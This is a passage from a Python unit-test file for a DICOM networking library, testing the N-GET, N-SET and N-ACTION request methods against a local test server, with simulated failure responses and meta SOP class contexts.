('', 11112), block=False, evt_handlers=[(evt.EVT_N_GET, handle)]
)
ae.add_requested_context(DisplaySystemSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
status, ds = assoc.send_n_get([(0x7fe0,0x0010)],
DisplaySystemSOPClass,
'1.2.840.10008.5.1.1.40.1')
assert status.Status == 0xFFF0
assert status.ErrorComment == 'Some comment'
assert status.ErrorID == 12
assert status.AttributeIdentifierList == [0x00100020]
assert ds is None
assoc.release()
assert assoc.is_released
scp.shutdown()
def test_meta_uid(self):
"""Test using a Meta SOP Class"""
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(BasicGrayscalePrintManagementMetaSOPClass)
ae.add_supported_context(PrinterSOPClass)
scp = ae.start_server(('', 11112), block=False)
ae.add_requested_context(BasicGrayscalePrintManagementMetaSOPClass)
ae.add_requested_context(PrinterSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
assoc.dimse = DummyDIMSE()
ds = Dataset()
ds.PatientName = 'Test^test'
# Receives None, None from DummyDIMSE, aborts
status, ds = assoc.send_n_get(
[(0x00100010)],
PrinterSOPClass,
'1.2.840.10008.5.1.1.40.1',
meta_uid=BasicGrayscalePrintManagementMetaSOPClass
)
assert assoc.is_aborted
scp.shutdown()
assert assoc.dimse.req.RequestedSOPClassUID == PrinterSOPClass
assert assoc.dimse.context_id == 1
assert assoc._accepted_cx[1].abstract_syntax == BasicGrayscalePrintManagementMetaSOPClass
def test_meta_uid_good(self):
"""Test sending a request using a Meta SOP Class."""
handler_data = []
def handle(event):
handler_data.append(event)
ds = Dataset()
ds.PatientName = 'Test'
ds.SOPClassUID = DisplaySystemSOPClass
ds.SOPInstanceUID = '1.2.3.4'
return 0x0000, ds
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(BasicGrayscalePrintManagementMetaSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_GET, handle)]
)
ae.add_requested_context(BasicGrayscalePrintManagementMetaSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
ds = Dataset()
ds.PatientName = 'Test^test'
status, ds = assoc.send_n_get(
[(0x7fe0,0x0010)],
DisplaySystemSOPClass, '1.2.840.10008.5.1.1.40.1',
meta_uid=BasicGrayscalePrintManagementMetaSOPClass
)
assert status.Status == 0x0000
assert ds is not None
assert isinstance(ds, Dataset)
assert ds.PatientName == 'Test'
assert ds.SOPClassUID == DisplaySystemSOPClass
assert ds.SOPInstanceUID == '1.2.3.4'
assoc.release()
assert assoc.is_released
scp.shutdown()
req = handler_data[0].request
cx = handler_data[0].context
assert req.RequestedSOPClassUID == DisplaySystemSOPClass
assert cx.abstract_syntax == BasicGrayscalePrintManagementMetaSOPClass
def test_meta_uid_bad(self):
"""Test sending a request using a Meta SOP Class."""
def handle(event):
ds = Dataset()
ds.PatientName = 'Test'
ds.SOPClassUID = DisplaySystemSOPClass
ds.SOPInstanceUID = '1.2.3.4'
return 0x0000, ds
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(BasicGrayscalePrintManagementMetaSOPClass)
scp = ae.start_server(
('', 11112), block=False,
evt_handlers=[(evt.EVT_N_GET, handle)]
)
ae.add_requested_context(BasicGrayscalePrintManagementMetaSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
ds = Dataset()
ds.PatientName = 'Test^test'
msg = (
r"No presentation context for 'Basic Color Print Management "
r"Meta SOP Class' has been "
r"accepted by the peer "
r"for the SCU role"
)
with pytest.raises(ValueError, match=msg):
assoc.send_n_get(
[(0x7fe0,0x0010)],
DisplaySystemSOPClass, '1.2.840.10008.5.1.1.40.1',
meta_uid=BasicColorPrintManagementMetaSOPClass
)
assoc.release()
assert assoc.is_released
scp.shutdown()
class TestAssociationSendNSet(object):
"""Run tests on Assocation send_n_set."""
def setup(self):
self.ae = None
def teardown(self):
"""Clear any active threads"""
if self.ae:
self.ae.shutdown()
def test_must_be_associated(self):
"""Test can't send without association."""
def handle(event):
ds = Dataset()
ds.PatientName = 'Test^test'
return 0x0000, ds
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(ModalityPerformedProcedureStepSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_SET, handle)]
)
ae.add_requested_context(ModalityPerformedProcedureStepSOPClass)
assoc = ae.associate('localhost', 11112)
assoc.release()
assert assoc.is_released
assert not assoc.is_established
with pytest.raises(RuntimeError):
assoc.send_n_set(None, None, None)
scp.shutdown()
def test_no_abstract_syntax_match(self):
"""Test SCU when no accepted abstract syntax"""
def handle(event):
ds = Dataset()
ds.PatientName = 'Test^test'
return 0x0000, ds
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(ModalityPerformedProcedureStepSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_SET, handle)]
)
ae.add_requested_context(ModalityPerformedProcedureStepSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
msg = (
r"No presentation context for 'Verification SOP Class' has been "
r"accepted by the peer "
r"for the SCU role"
)
with pytest.raises(ValueError, match=msg):
assoc.send_n_set(None, VerificationSOPClass, None)
assoc.release()
assert assoc.is_released
scp.shutdown()
def test_rq_bad_dataset_raises(self):
"""Test sending bad dataset raises exception."""
def handle(event):
ds = Dataset()
ds.PatientName = 'Test^test'
return 0x0000, ds
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(ModalityPerformedProcedureStepSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_SET, handle)]
)
ae.add_requested_context(
ModalityPerformedProcedureStepSOPClass,
ExplicitVRLittleEndian
)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
mod_list = Dataset()
mod_list.PerimeterValue = b'\x00\x01'
msg = r"Failed to encode the supplied 'Modification List' dataset"
with pytest.raises(ValueError, match=msg):
assoc.send_n_set(
mod_list, ModalityPerformedProcedureStepSOPClass, '1.2.3'
)
assoc.release()
assert assoc.is_released
scp.shutdown()
def test_rsp_none(self):
"""Test no response from peer"""
def handle(event):
ds = Dataset()
ds.PatientName = 'Test^test'
time.sleep(0.5)
return 0x0000, ds
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 0.4
ae.network_timeout = 5
ae.add_supported_context(ModalityPerformedProcedureStepSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_SET, handle)]
)
ae.add_requested_context(ModalityPerformedProcedureStepSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
mod_list = Dataset()
mod_list.PatientName = 'Test^test'
status, ds = assoc.send_n_set(
mod_list, ModalityPerformedProcedureStepSOPClass,
'1.2.840.10008.5.1.1.40.1'
)
assert status == Dataset()
assert ds is None
assert assoc.is_aborted
scp.shutdown()
def test_rsp_invalid(self):
"""Test invalid DIMSE message received from peer"""
def handle(event):
ds = Dataset()
ds.PatientName = 'Test^test'
return 0x0000, ds
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 0.4
ae.network_timeout = 5
ae.add_supported_context(ModalityPerformedProcedureStepSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_SET, handle)]
)
ae.add_requested_context(ModalityPerformedProcedureStepSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
class DummyResponse():
is_valid_response = False
class DummyDIMSE():
msg_queue = queue.Queue()
gotten = False
def send_msg(*args, **kwargs): return
def get_msg(self, *args, **kwargs):
if not self.gotten:
self.gotten = True
return None, DummyResponse()
return None, None
assoc._reactor_checkpoint.clear()
while not assoc._is_paused:
time.sleep(0.01)
assoc.dimse = DummyDIMSE()
mod_list = Dataset()
mod_list.PatientName = 'Test^test'
status, ds = assoc.send_n_set(
mod_list,
ModalityPerformedProcedureStepSOPClass,
'1.2.840.10008.5.1.1.40.1'
)
assert status == Dataset()
assert ds is None
assert assoc.is_aborted
scp.shutdown()
def test_rsp_failure(self):
"""Test receiving a failure response from the peer"""
def handle(event):
return 0x0112, None
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(ModalityPerformedProcedureStepSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_SET, handle)]
)
ae.add_requested_context(ModalityPerformedProcedureStepSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
ds = Dataset()
ds.PatientName = 'Test^test'
status, ds = assoc.send_n_set(
ds,
ModalityPerformedProcedureStepSOPClass,
'1.2.840.10008.5.1.1.40.1'
)
assert status.Status == 0x0112
assert ds is None
assoc.release()
assert assoc.is_released
scp.shutdown()
def test_rsp_warning(self):
"""Test receiving a warning response from the peer"""
def handle(event):
return 0x0116, event.modification_list
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(ModalityPerformedProcedureStepSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_SET, handle)]
)
ae.add_requested_context(ModalityPerformedProcedureStepSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
ds = Dataset()
ds.PatientName = 'Test^test'
status, ds = assoc.send_n_set(
ds,
ModalityPerformedProcedureStepSOPClass,
'1.2.840.10008.5.1.1.40.1'
)
assert status.Status == 0x0116
assert ds.PatientName == 'Test^test'
assoc.release()
assert assoc.is_released
def test_rsp_success(self):
"""Test receiving a success response from the peer"""
def handle(event):
return 0x0000, event.modification_list
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(ModalityPerformedProcedureStepSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_SET, handle)]
)
ae.add_requested_context(ModalityPerformedProcedureStepSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
ds = Dataset()
ds.PatientName = 'Test^test'
status, ds = assoc.send_n_set(
ds,
ModalityPerformedProcedureStepSOPClass,
'1.2.840.10008.5.1.1.40.1'
)
assert status.Status == 0x0000
assert ds.PatientName == 'Test^test'
assoc.release()
assert assoc.is_released
def test_rsp_unknown_status(self):
"""Test unknown status value returned by peer"""
def handle(event):
return 0xFFF0, event.modification_list
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(ModalityPerformedProcedureStepSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_SET, handle)]
)
ae.add_requested_context(ModalityPerformedProcedureStepSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
ds = Dataset()
ds.PatientName = 'Test^test'
status, ds = assoc.send_n_set(
ds,
ModalityPerformedProcedureStepSOPClass,
'1.2.840.10008.5.1.1.40.1'
)
assert status.Status == 0xFFF0
assert ds is None
assoc.release()
assert assoc.is_released
def test_rsp_bad_dataset(self):
"""Test handler returns bad dataset"""
def handle(event):
def test(): pass
return 0x0000, test
self.ae = ae = AE()
ae.add_requested_context(ModalityPerformedProcedureStepSOPClass)
ae.add_supported_context(ModalityPerformedProcedureStepSOPClass)
handlers = [(evt.EVT_N_SET, handle)]
scp = ae.start_server(('', 11112), evt_handlers=handlers, block=False)
ae.acse_timeout = 5
ae.dimse_timeout = 5
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
# Event Information
ds = Dataset()
ds.PatientName = 'Test^test'
status, ds = assoc.send_n_set(
ds,
ModalityPerformedProcedureStepSOPClass,
'1.2.840.10008.5.1.1.40.1'
)
assert status.Status == 0x0110
assert ds is None
assoc.release()
scp.shutdown()
def test_decode_failure(self):
"""Test bad dataset received from peer"""
def handle(event):
ds = Dataset()
ds.PatientName = 'Test^test'
return 0x0000, ds
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 0.4
ae.network_timeout = 5
ae.add_supported_context(ModalityPerformedProcedureStepSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_SET, handle)]
)
ae.add_requested_context(
ModalityPerformedProcedureStepSOPClass,
ExplicitVRLittleEndian
)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
class DummyReply():
def getvalue(self):
def test(): pass
return test
class DummyMessage():
is_valid_response = True
AttributeList = DummyReply()
Status = 0x0000
STATUS_OPTIONAL_KEYWORDS = []
class DummyDIMSE():
msg_queue = queue.Queue()
gotten = False
def send_msg(*args, **kwargs):
return
def get_msg(self, *args, **kwargs):
if not self.gotten:
self.gotten = True
return 1, DummyMessage()
return None, None
assoc._reactor_checkpoint.clear()
while not assoc._is_paused:
time.sleep(0.01)
assoc.dimse = DummyDIMSE()
assert assoc.is_established
mod_list = Dataset()
mod_list.PatientName = 'Test^test'
status, ds = assoc.send_n_set(
mod_list,
ModalityPerformedProcedureStepSOPClass,
'1.2.840.10008.5.1.1.40.1'
)
assert status.Status == 0x0110
assert ds is None
scp.shutdown()
def test_extra_status(self):
"""Test extra status elements are available."""
def handle(event):
status = Dataset()
status.Status = 0xFFF0
status.ErrorComment = 'Some comment'
status.ErrorID = 12
status.AttributeIdentifierList = [0x00100010]
return status, event.modification_list
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(ModalityPerformedProcedureStepSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_SET, handle)]
)
ae.add_requested_context(ModalityPerformedProcedureStepSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
ds = Dataset()
ds.PatientName = 'Test^test'
status, ds = assoc.send_n_set(
ds,
ModalityPerformedProcedureStepSOPClass,
'1.2.840.10008.5.1.1.40.1'
)
assert status.Status == 0xFFF0
assert status.ErrorComment == 'Some comment'
assert status.ErrorID == 12
assert status.AttributeIdentifierList == Tag(0x00100010)
assert ds is None
assoc.release()
assert assoc.is_released
scp.shutdown()
def test_meta_uid(self):
"""Test using a Meta SOP Class"""
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(BasicGrayscalePrintManagementMetaSOPClass)
ae.add_supported_context(PrinterSOPClass)
scp = ae.start_server(('', 11112), block=False)
ae.add_requested_context(BasicGrayscalePrintManagementMetaSOPClass)
ae.add_requested_context(PrinterSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
assoc.dimse = DummyDIMSE()
ds = Dataset()
ds.PatientName = 'Test^test'
# Receives None, None from DummyDIMSE, aborts
status, ds = assoc.send_n_set(
ds,
PrinterSOPClass,
'1.2.840.10008.5.1.1.40.1',
meta_uid=BasicGrayscalePrintManagementMetaSOPClass
)
assert assoc.is_aborted
scp.shutdown()
assert assoc.dimse.req.RequestedSOPClassUID == PrinterSOPClass
assert assoc.dimse.context_id == 1
assert assoc._accepted_cx[1].abstract_syntax == BasicGrayscalePrintManagementMetaSOPClass
def test_meta_uid_good(self):
"""Test sending a request using a Meta SOP Class."""
handler_data = []
def handle(event):
handler_data.append(event)
return 0x0000, event.modification_list
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(BasicGrayscalePrintManagementMetaSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_SET, handle)]
)
ae.add_requested_context(BasicGrayscalePrintManagementMetaSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
ds = Dataset()
ds.PatientName = 'Test^test'
status, ds = assoc.send_n_set(
ds,
ModalityPerformedProcedureStepSOPClass,
'1.2.840.10008.5.1.1.40.1',
meta_uid=BasicGrayscalePrintManagementMetaSOPClass
)
assert status.Status == 0x0000
assert ds is not None
assert isinstance(ds, Dataset)
assert status.Status == 0x0000
assert ds.PatientName == 'Test^test'
assoc.release()
assert assoc.is_released
scp.shutdown()
req = handler_data[0].request
cx = handler_data[0].context
assert req.RequestedSOPClassUID == ModalityPerformedProcedureStepSOPClass
assert cx.abstract_syntax == BasicGrayscalePrintManagementMetaSOPClass
def test_meta_uid_bad(self):
"""Test sending a request using a Meta SOP Class."""
def handle(event):
ds = Dataset()
ds.PatientName = 'Test'
ds.SOPClassUID = DisplaySystemSOPClass
ds.SOPInstanceUID = '1.2.3.4'
return 0x0000, ds
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(BasicGrayscalePrintManagementMetaSOPClass)
scp = ae.start_server(
('', 11112), block=False,
evt_handlers=[(evt.EVT_N_SET, handle)]
)
ae.add_requested_context(BasicGrayscalePrintManagementMetaSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
ds = Dataset()
ds.PatientName = 'Test^test'
msg = (
r"No presentation context for 'Basic Color Print Management "
r"Meta SOP Class' has been "
r"accepted by the peer "
r"for the SCU role"
)
with pytest.raises(ValueError, match=msg):
assoc.send_n_set(
ds,
ModalityPerformedProcedureStepSOPClass,
'1.2.840.10008.5.1.1.40.1',
meta_uid=BasicColorPrintManagementMetaSOPClass
)
assoc.release()
assert assoc.is_released
scp.shutdown()
class TestAssociationSendNAction(object):
"""Run tests on Assocation send_n_action."""
def setup(self):
self.ae = None
def teardown(self):
"""Clear any active threads"""
if self.ae:
self.ae.shutdown()
def test_must_be_associated(self):
"""Test can't send without association."""
def handle(event):
return 0x0000, event.action_information
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(ProceduralEventLoggingSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_ACTION, handle)]
)
ae.add_requested_context(ProceduralEventLoggingSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
assoc.release()
assert assoc.is_released
assert not assoc.is_established
with pytest.raises(RuntimeError):
assoc.send_n_action(None, None, None, None)
scp.shutdown()
def test_no_abstract_syntax_match(self):
"""Test SCU when no accepted abstract syntax"""
def handle(event):
return 0x0000, event.action_information
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(ProceduralEventLoggingSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_ACTION, handle)]
)
ae.add_requested_context(ProceduralEventLoggingSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
msg = (
r"No presentation context for 'Verification SOP Class' has been "
r"accepted by the peer for the SCU role"
)
with pytest.raises(ValueError, match=msg):
assoc.send_n_action(None, 1, VerificationSOPClass, None)
assoc.release()
assert assoc.is_released
scp.shutdown()
def test_rq_bad_dataset_raises(self):
"""Test sending bad dataset raises exception."""
def handle(event):
return 0x0000, event.action_information
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(ProceduralEventLoggingSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_ACTION, handle)]
)
ae.add_requested_context(
ProceduralEventLoggingSOPClass,
ExplicitVRLittleEndian
)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
ds = Dataset()
ds.PerimeterValue = b'\x00\x01'
msg = r"Failed to encode the supplied 'Action Information' dataset"
with pytest.raises(ValueError, match=msg):
assoc.send_n_action(ds, 1, ProceduralEventLoggingSOPClass, '1.2.3')
assoc.release()
assert assoc.is_released
scp.shutdown()
def test_rsp_none(self):
"""Test no response from peer"""
def handle(event):
time.sleep(0.5)
return 0x0000, event.action_information
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 0.4
ae.network_timeout = 5
ae.add_supported_context(ProceduralEventLoggingSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_ACTION, handle)]
)
ae.add_requested_context(ProceduralEventLoggingSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
class DummyDIMSE():
msg_queue = queue.Queue()
def send_msg(*args, **kwargs): return
def get_msg(*args, **kwargs): return None, None
assoc._reactor_checkpoint.clear()
while not assoc._is_paused:
time.sleep(0.01)
assoc.dimse = DummyDIMSE()
ds = Dataset()
ds.PatientName = 'Test^test'
status, ds = assoc.send_n_action(
ds, 1, ProceduralEventLoggingSOPClass, '1.2.840.10008.5.1.1.40.1'
)
assert status == Dataset()
assert ds is None
assert assoc.is_aborted
scp.shutdown()
def test_rsp_invalid(self):
"""Test invalid DIMSE message received from peer"""
def handle(event):
return 0x0000, event.action_information
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(ProceduralEventLoggingSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_ACTION, handle)]
)
ae.add_requested_context(ProceduralEventLoggingSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
class DummyResponse():
is_valid_response = False
class DummyDIMSE():
msg_queue = queue.Queue()
gotten = False
def send_msg(*args, **kwargs): return
def get_msg(self, *args, **kwargs):
if not self.gotten:
self.gotten = True
return None, DummyResponse()
return None, None
assoc._reactor_checkpoint.clear()
while not assoc._is_paused:
time.sleep(0.01)
assoc.dimse = DummyDIMSE()
ds = Dataset()
ds.PatientName = 'Test^test'
status, ds = assoc.send_n_action(
ds, 1, ProceduralEventLoggingSOPClass, '1.2.840.10008.5.1.1.40.1'
)
assert status == Dataset()
assert ds is None
assert assoc.is_aborted
scp.shutdown()
def test_rsp_failure(self):
"""Test receiving a failure response from the peer"""
def handle(event):
return 0x0112, None
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(ProceduralEventLoggingSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_ACTION, handle)]
)
ae.add_requested_context(ProceduralEventLoggingSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
ds = Dataset()
ds.PatientName = 'Test^test'
status, ds = assoc.send_n_action(
ds, 1, ProceduralEventLoggingSOPClass, '1.2.840.10008.5.1.1.40.1'
)
assert status.Status == 0x0112
assert ds is None
assoc.release()
assert assoc.is_released
scp.shutdown()
def test_rsp_warning(self):
"""Test receiving a warning response from the peer"""
def handle(event):
return 0x0116, event.action_information
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(ProceduralEventLoggingSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_ACTION, handle)]
)
ae.add_requested_context(ProceduralEventLoggingSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
ds = Dataset()
ds.PatientName = 'Test^test'
status, ds = assoc.send_n_action(
ds, 1, ProceduralEventLoggingSOPClass, '1.2.840.10008.5.1.1.40.1'
)
assert status.Status == 0x0116
assert ds.PatientName == 'Test^test'
assoc.release()
assert assoc.is_released
scp.shutdown()
def test_rsp_success(self):
"""Test receiving a success response from the peer"""
def handle(event):
return 0x0000, event.action_information
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(ProceduralEventLoggingSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_ACTION, handle)]
)
ae.add_requested_context(ProceduralEventLoggingSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
ds = Dataset()
ds.PatientName = 'Test^test'
status, ds = assoc.send_n_action(
ds, 1, ProceduralEventLoggingSOPClass, '1.2.840.10008.5.1.1.40.1'
)
assert status.Status == 0x0000
assert ds.PatientName == 'Test^test'
assoc.release()
assert assoc.is_released
scp.shutdown()
def test_rsp_unknown_status(self):
"""Test unknown status value returned by peer"""
def handle(event):
return 0xFFF0, event.action_information
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(ProceduralEventLoggingSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_ACTION, handle)]
)
ae.add_requested_context(ProceduralEventLoggingSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
ds = Dataset()
ds.PatientName = 'Test^test'
status, ds = assoc.send_n_action(
ds, 1, ProceduralEventLoggingSOPClass, '1.2.840.10008.5.1.1.40.1'
)
assert status.Status == 0xFFF0
assert ds is None
assoc.release()
assert assoc.is_released
scp.shutdown()
def test_rsp_bad_dataset(self):
"""Test bad dataset received from peer"""
def handle(event):
return 0x0000, event.action_information
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(PrintJobSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_ACTION, handle)]
)
ae.add_requested_context(PrintJobSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
class DummyReply():
def getvalue(self):
def test(): pass
return test
class DummyMessage():
is_valid_response = True
ActionReply = DummyReply()
Status = 0x0000
STATUS_OPTIONAL_KEYWORDS = []
class DummyDIMSE():
msg_queue = queue.Queue()
def send_msg(*args, **kwargs):
return
def get_msg(*args, **kwargs):
rsp = DummyMessage()
return 1, rsp
assoc._reactor_checkpoint.clear()
while not assoc._is_paused:
time.sleep(0.01)
assoc.dimse = DummyDIMSE()
ds = Dataset()
ds.PatientName = 'Test^test'
status, ds = assoc.send_n_action(
ds, 1, PrintJobSOPClass, '1.2.840.10008.5.1.1.40.1'
)
assert status.Status == 0x0110
assert ds is None
scp.shutdown()
def test_extra_status(self):
"""Test extra status elements are available."""
def handle(event):
ds = Dataset()
ds.Status = 0xFFF0
ds.ErrorComment = 'Some comment'
ds.ErrorID = 12
return ds, event.action_information
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(PrintJobSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_ACTION, handle)]
)
ae.add_requested_context(PrintJobSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
ds = Dataset()
ds.PatientName = 'Test^test'
status, ds = assoc.send_n_action(
ds, 1, PrintJobSOPClass, '1.2.840.10008.5.1.1.40.1'
)
assert status.Status == 0xFFF0
assert status.ErrorComment == 'Some comment'
assert status.ErrorID == 12
assert ds is None
assoc.release()
assert assoc.is_released
scp.shutdown()
def test_meta_uid(self):
"""Test using a Meta SOP Class"""
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(BasicGrayscalePrintManagementMetaSOPClass)
ae.add_supported_context(PrinterSOPClass)
scp = ae.start_server(('', 11112), block=False)
ae.add_requested_context(BasicGrayscalePrintManagementMetaSOPClass)
ae.add_requested_context(PrinterSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
assoc.dimse = DummyDIMSE()
ds = Dataset()
ds.PatientName = 'Test^test'
# Receives None, None from DummyDIMSE, aborts
status, ds = assoc.send_n_action(
ds, 1,
PrinterSOPClass,
'1.2.840.10008.5.1.1.40.1',
meta_uid=BasicGrayscalePrintManagementMetaSOPClass
)
assert assoc.is_aborted
scp.shutdown()
assert assoc.dimse.req.RequestedSOPClassUID == PrinterSOPClass
assert assoc.dimse.context_id == 1
assert assoc._accepted_cx[1].abstract_syntax == BasicGrayscalePrintManagementMetaSOPClass
def test_meta_uid_good(self):
"""Test sending a request using a Meta SOP Class."""
handler_data = []
def handle(event):
handler_data.append(event)
return 0x0000, event.action_information
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(BasicGrayscalePrintManagementMetaSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_ACTION, handle)]
)
ae.add_requested_context(BasicGrayscalePrintManagementMetaSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
ds = Dataset()
ds.PatientName = 'Test^test'
status, ds = assoc.send_n_action(
ds, 1, ProceduralEventLoggingSOPClass, '1.2.840.10008.5.1.1.40.1',
meta_uid=BasicGrayscalePrintManagementMetaSOPClass
)
assert status.Status == 0x0000
assert ds.PatientName == 'Test^test'
assoc.release()
assert assoc.is_released
scp.shutdown()
req = handler_data[0].request
cx = handler_data[0].context
assert req.RequestedSOPClassUID == ProceduralEventLoggingSOPClass
assert cx.abstract_syntax == BasicGrayscalePrintManagementMetaSOPClass
def test_meta_uid_bad(self):
"""Test sending a request using a Meta SOP Class."""
def handle(event):
ds = Dataset()
ds.PatientName = 'Test'
ds.SOPClassUID = DisplaySystemSOPClass
ds.SOPInstanceUID = '1.2.3.4'
return 0x0000, ds
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(BasicGrayscalePrintManagementMetaSOPClass)
scp = ae.start_server(
('', 11112), block=False,
evt_handlers=[(evt.EVT_N_ACTION, handle)]
)
ae.add_requested_context(BasicGrayscalePrintManagementMetaSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
ds = Dataset()
ds.PatientName = 'Test^test'
msg = (
r"No presentation context for 'Basic Color Print Management "
r"Meta SOP Class' has been "
